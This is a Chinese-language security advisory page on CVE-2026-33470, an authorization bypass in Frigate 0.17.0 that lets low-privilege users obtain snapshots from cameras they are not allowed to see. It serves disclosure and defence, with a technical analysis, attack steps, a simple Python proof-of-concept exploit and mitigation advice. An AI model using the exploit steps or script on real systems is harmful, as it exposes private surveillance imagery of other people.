IPBUF安全漏洞报告
English
CVE-2026-33470 CVSS 6.5 中危

CVE-2026-33470 Frigate权限绕过致跨摄像头快照泄露

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33470
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Frigate

相关标签

权限绕过信息泄露CWE-284FrigateAPI安全

漏洞概述

Frigate是一款带本地对象检测功能的网络视频录像机。在0.17.0版本中存在严重的权限绕过漏洞。低权限用户虽然被限制仅能访问特定摄像头,但利用API授权逻辑缺陷,可访问其他未经授权摄像头的快照。攻击者通过`/api/timeline`接口枚举受限摄像头的事件ID,再利用`/api/events/{id}/snapshot-clean.webp`未验证事件归属的缺陷,成功下载敏感快照,导致监控信息泄露。

技术细节

该漏洞由两个连续的授权逻辑缺陷导致。首先,`/api/timeline`端点未实施严格的数据过滤,返回了包含调用者权限范围之外摄像头的条目,使受限用户能够枚举其他摄像机的Event ID。其次,`/api/events/{event_id}/snapshot-clean.webp`端点虽然在函数定义中声明了`Depends(require_camera_access)`依赖,但在后续代码逻辑中,仅执行了Event查询,却遗漏了对该Event所属`camera`字段的权限校验。攻击者组合利用这两点:先通过Timeline接口获取受限摄像机的事件标识,随后直接请求Snapshot接口。由于服务器未验证事件ID对应的摄像机是否属于用户,导致攻击者能越权获取敏感图像数据。

攻击链分析

STEP 1
1
攻击者使用受限的低权限账户登录Frigate系统。
STEP 2
2
访问`/api/timeline`接口,利用数据过滤缺陷获取所有摄像头(包括无权访问的摄像头)的事件ID列表。
STEP 3
3
从返回结果中选定目标摄像头的事件ID。
STEP 4
4
构造请求访问`/api/events/{event_id}/snapshot-clean.webp`接口。
STEP 5
5
服务器因未验证事件归属权限,直接返回了受限摄像头的快照文件,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "http://vulnerable-frigate-instance" username = "low_priv_user" password = "password" # 1. Authenticate as low-privilege user session = requests.Session() login_payload = {"username": username, "password": password} session.post(f"{target_url}/api/login", data=login_payload) # 2. Exploit: Access /api/timeline to discover Event IDs from unauthorized cameras # The vulnerability allows this endpoint to return events for cameras outside the user's scope timeline_resp = session.get(f"{target_url}/api/timeline") if timeline_resp.status_code == 200: events = timeline_resp.json() # Assume we found an event_id '12345' belonging to a restricted camera target_event_id = "12345" # 3. Exploit: Access snapshot using the leaked event ID # The endpoint /api/events/{event_id}/snapshot-clean.webp fails to validate # if the event's camera is authorized for the current user. snapshot_url = f"{target_url}/api/events/{target_event_id}/snapshot-clean.webp" poc_resp = session.get(snapshot_url) if poc_resp.status_code == 200: print("[+] Vulnerability Exploited Successfully!") print(f"[+] Retrieved snapshot size: {len(poc_resp.content)} bytes") # Save the snapshot with open("exploited_snapshot.webp", "wb") as f: f.write(poc_resp.content) else: print("[-] Failed to retrieve snapshot.") else: print("[-] Failed to access timeline.")

影响范围

Frigate 0.17.0

防御指南

临时缓解措施
如果无法立即升级,建议通过网络隔离限制对Frigate管理接口的访问,仅允许可信IP地址连接,或通过反向代理增加额外的访问控制层,直到完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表